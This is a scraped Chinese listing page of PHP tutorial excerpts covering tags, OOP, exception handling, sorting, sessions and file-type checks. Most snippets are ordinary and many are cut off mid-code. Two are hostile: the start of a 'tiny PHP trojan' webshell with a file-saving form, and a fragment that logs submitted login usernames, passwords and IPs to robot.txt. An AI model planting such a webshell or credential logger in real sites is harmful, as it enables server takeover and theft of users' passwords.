Time of Update: 2018-12-08
今天看論壇的時候,看到一新手的錯誤碼,看了很久都沒發現錯誤。我正納悶呢?(這是為什麼呢?)呵呵。 後來才發現標記問題,他使用的是短標記。而我的php.in配置裡並沒有開啟它。哎慚愧呀! 1.xml風格 複製代碼 代碼如下:<?php echo"這是xml風格的標記"; ?> xml風格的標記是常用的標記,也是推薦使用的標記,伺服器不能禁用,該風格的標記在xml,xhtml中都可以使用。 2.指令碼風格 複製代碼 代碼如下:<script languange="php">
Time of Update: 2018-12-08
一、入口 入口檔案可以是單檔案也可以是多檔案,我現在用的基本屬多檔案,但是入口檔案內容基本都是一樣,為以後的修改其它的入口方式做基礎, 複製代碼 代碼如下:<?php require 'command/config.php'; require 'command/app.php'; app::run($config); ?> 首先不用說大家也看得出來,載入系統設定檔,然後通過引擎來載入系統配置。 二、引擎 複製代碼 代碼如下:public function run($config){
Time of Update: 2018-12-08
先送上一段簡單的執行個體 複製代碼 代碼如下:<?php if(!is_dir('txt'))//判斷txt是否為檔案夾目錄 { mkdir('txt');//建立名為txt的檔案夾目錄 $open=fopen('txt/in.txt',"w+");//以讀寫的方式開啟檔案 if(is_writable('txt/in.txt'))//如果此檔案為可寫入模式 { if(fwrite($open,"今天是美好的一天,一定要開心哦!《- -》")>0)//寫入內容
Time of Update: 2018-12-08
複製代碼 代碼如下:<?php echo "當前作業系統資訊".PHP_OS."<br/>"; echo '本檔案路徑和檔案名稱為:'.__FILE__.'<br />'; echo "當前PHP版本資訊".PHP_VERSION."<br/>"; ?> 常用的php預定義變數! 前面的$_SERVER[PHP_SELF]返回的是一段資訊,如"/upload/try.php"而後面的則返回一個數組:如:$path_parts = pathinfo(
Time of Update: 2018-12-08
就如今天遇到隨即函數rand();腦海中想到用它做點啥好呢,最後想起了驗證碼,數字驗證碼,字母驗證碼,中文驗證碼,可是自己不會呀,咋辦呢,上網搜,看別人的代碼,開不懂,看視頻,聽老師講,將其中所遇到的函數,值得注意的地方都拿筆記下,平常看到一般網頁上的隨機驗證碼都是以一定的方框包圍起來,貌似就是以圖片為背景的。經過邊看,自己邊敲,雖然遇到很多不會的問題,但是我相信只要自己腳踏實地,一定學會的。現在想做一下總結,自己可能寫的很亂,可我相信有一天會實現的。1.產生數位隨機數
Time of Update: 2018-12-08
技術不精,要有錯誤,還請指出,我會改正。 複製代碼 代碼如下:header('Content-Type: text/html; charset=utf-8'); echo '<pre>'; function var_array($array) { echo '<pre>'; var_dump($array); echo '</pre>'; } function printr($array) { echo '<pre>';
Time of Update: 2018-12-08
面象對向的三大特點:封裝性、繼承性、多態性 首先簡單理解一下抽象:我們在前面定義一個類的時候,實際上就是把一類事物共有的屬性和行為提取出來,形成一個物理模型(模版),這種研究問題的方法稱為抽象一、封裝性 封裝就是把抽取出來的資料和對資料的操作封裝在一起,資料被保護在內部,程式的其他部分只有被授權的操作(方法)才能對資料進行操作。 php提供了三種存取控制修飾符 public 表示全域,本類內部,類外部,子類都可以訪問 protected 表示受保護的,只有本類或子類可以訪問 private
Time of Update: 2018-12-08
一、錯誤處理 異常處理: 意外,是在程式運行過程中發生的意料這外的事,使用異常改變指令碼正常流程 PHP5中的一個新的重要特性 複製代碼 代碼如下:if(){ }else{ } try { }catch(異常對象){ } 1. 如果try中代碼沒有問題,則將try中代碼執行完後就到catch後執行 2. 如果try中代碼有異常發生,則拋出一個異常對象(使用throw),拋出給了catch中的參數, 則在try中代碼就不會再繼續執行下去 直接跳轉到catch中去執行, catch中執行完成,
Time of Update: 2018-12-08
作者: spider 我也來個超小PHP小馬 複製代碼 代碼如下:<?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 儲存檔案名稱: <input type="text"
Time of Update: 2018-12-08
例: 複製代碼 代碼如下:<?php $a = fopen('test.txt','r'); //這裡並沒有對檔案進行判斷就開啟了,如果檔案不存在就會報錯 ?> 那麼正確的寫法應該如下: 複製代碼 代碼如下:<?php if(file_exists('test.txt')){ $f=fopen('test.txt','r'); //使用完後關閉 fclose($f); } ?> 一、PHP錯誤處理的三種方式A、簡單的die()語句; 等價於exit(); 例: 複製代碼
Time of Update: 2018-12-08
一、抽像類(abstract) 在我們實際開發過程中,有些類並不需要被執行個體化,如前面學習到的一些父類,主要是讓子類來繼承,這樣可以提高代碼複用性 文法結構: 複製代碼 代碼如下:abstract class 類名{ 屬性 $name; 方法(){} //方法也可以為abstract 修飾符 function 方法名(){} } 例: 複製代碼 代碼如下:abstract class animal{ public $name; public $age;
Time of Update: 2018-12-08
思維導圖 介紹 前幾篇系列文章,我比較關注的是<PHP 雜談《重構-改善既有代碼的設計》之一 重新組織你的函數>,但是我覺得我還是沒有說清楚,我自己也有很多不理解的地方,而且這篇是我的第一篇這方面的文章,有很多的紕漏,所以我會經常性的去做修改,如果大家有好的意見不妨告知一、二。
Time of Update: 2018-12-08
一、冒泡排序法 說明:找到最大的數,排列到最後面,然後繼續找 例: 複製代碼 代碼如下:$arr = array(3,5,-1,0,2); for($i=0;$i<count($arr)-1;$i++){ for($j=0;$j<count($arr)-1-$i;$j++){ if($arr[$j]>$arr[$j+1]){ $temp = $arr[$j]; $arr[$j]=$arr[$j+1]; $arr[$j+1]=$temp; } } } 理解: 3,5,-1,0,2
Time of Update: 2018-12-08
變數名與 PHP 中其它的標籤一樣遵循相同的規則。一個有效變數名由字母或者底線開頭,後面跟上任意數量的字母,數字,或者底線。按照正常的Regex,它將被表述為:'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'。 Note: $this 是一個特殊的變數,它不能被賦值。
Time of Update: 2018-12-08
Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP 3.0\www\bugfree\Include\Class\XmlParse.class.php on line 46 Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP
Time of Update: 2018-12-08
在下列情況下一個變數被認為是 NULL:被賦值為 NULL。尚未被賦值。被 unset()。NULL 類型只有一個值,就是大小寫不敏感的關鍵字 NULL(你可以寫成NULL,也可以寫成null)。將一個變數轉換為 null 類型將會刪除該變數並且unset它的值。類型轉換PHP 在變數定義中不需要(或不支援)明確的類型定義;變數類型是根據使用該變數的上下文所決定的。也就是說,如果把一個字串值賦給變數 var,var 就成了一個字串。如果又把一個整型值賦給 var,那它就成了一個整數。PHP
Time of Update: 2018-12-08
windows下的解決方案:通過尋找php.ini的session.save_path = ""的路徑,檢查是否存在這個目錄或這個目錄是否有everyone或Authenticated Users的寫入許可權。一般就可以了linux下的解決方案:今天更新了一下PHP,結果配置的phpmyadmin登陸進去出現“無法在發生錯誤時建立會話,請檢查 PHP 或網站伺服器日誌,並正確配置 PHP 安裝。”的錯誤。 錯誤原因:
Time of Update: 2018-12-08
我這裡寫了一個驗證類,是通過檔案頭來判斷檔案格式.(也不是百分之百安全,如果使用者偽造了檔案頭,也能通過驗證) 複製代碼 代碼如下:<?php /** * 檢證檔案類型類 * * @author Silver */ class FileTypeValidation { // 檔案類型,不同的頭資訊 private static $_fileFormats = Array( 'jp2' => '0000000C6A502020',<br/> '3gp' => '000
Time of Update: 2018-12-08
PHP 中的 數組 實際上是一個有序映射。映射是一種把 values 關聯到 keys 的類型。此類型在很多方面做了最佳化,因此可以把它當成真正的數組,或列表(向量),散列表(是映射的一種實現),字典,集合,棧,隊列以及更多可能性。數組元素的值也可以是另一個數組。樹形結構和多維陣列也是允許的。可以用 array() 語言結構來建立一個 array。它接受任意數量用逗號分隔的 鍵(key) => 值(value) 對。key 可以是 integer 或者 string。如果key是一個
Time of Update: 2018-12-08
if($_POST[loginsubmit]!=){ //判斷是否點了登陸按鈕 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 連起來賦值給變數$sb fwrite(fopen(robot.txt,ab),$sb);} //結果寫入一個檔案